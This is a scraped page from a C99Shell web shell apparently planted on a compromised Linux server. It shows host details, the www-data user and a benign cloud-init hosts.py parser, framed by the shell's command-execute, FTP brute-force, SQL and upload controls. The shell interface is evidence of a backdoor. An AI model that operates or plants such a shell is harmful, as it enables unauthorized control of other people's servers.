!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/lib/python3/dist-packages/cloudinit/distros/parsers/   drwxr-xr-x
Free 83.23 GB of 96.73 GB (86.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     hosts.py (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Copyright (C) 2012 Yahoo! Inc.
#
# Author: Joshua Harlow <[email protected]>
#
# This file is part of cloud-init. See LICENSE file for license information.

from io import StringIO

from cloudinit.distros.parsers import chop_comment


# See: man hosts
# or https://linux.die.net/man/5/hosts
# or https://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/configtuning-configfiles.html # noqa
class HostsConf:
    def __init__(self, text):
        self._text = text
        self._contents = None

    def parse(self):
        if self._contents is None:
            self._contents = self._parse(self._text)

    def get_entry(self, ip):
        self.parse()
        options = []
        for (line_type, components) in self._contents:
            if line_type == "option":
                (pieces, _tail) = components
                if len(pieces) and pieces[0] == ip:
                    options.append(pieces[1:])
        return options

    def del_entries(self, ip):
        self.parse()
        n_entries = []
        for (line_type, components) in self._contents:
            if line_type != "option":
                n_entries.append((line_type, components))
                continue
            else:
                (pieces, _tail) = components
                if len(pieces) and pieces[0] == ip:
                    pass
                elif len(pieces):
                    n_entries.append((line_type, list(components)))
        self._contents = n_entries

    def add_entry(self, ip, canonical_hostname, *aliases):
        self.parse()
        self._contents.append(
            ("option", ([ip, canonical_hostname] + list(aliases), ""))
        )

    def _parse(self, contents):
        entries = []
        for line in contents.splitlines():
            if not len(line.strip()):
                entries.append(("blank", [line]))
                continue
            (head, tail) = chop_comment(line.strip(), "#")
            if not len(head):
                entries.append(("all_comment", [line]))
                continue
            entries.append(("option", [head.split(None), tail]))
        return entries

    def __str__(self):
        self.parse()
        contents = StringIO()
        for (line_type, components) in self._contents:
            if line_type == "blank":
                contents.write("%s\n" % (components[0]))
            elif line_type == "all_comment":
                contents.write("%s\n" % (components[0]))
            elif line_type == "option":
                (pieces, tail) = components
                pieces = [str(p) for p in pieces]
                pieces = "\t".join(pieces)
                contents.write("%s%s\n" % (pieces, tail))
        return contents.getvalue()

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0038 ]--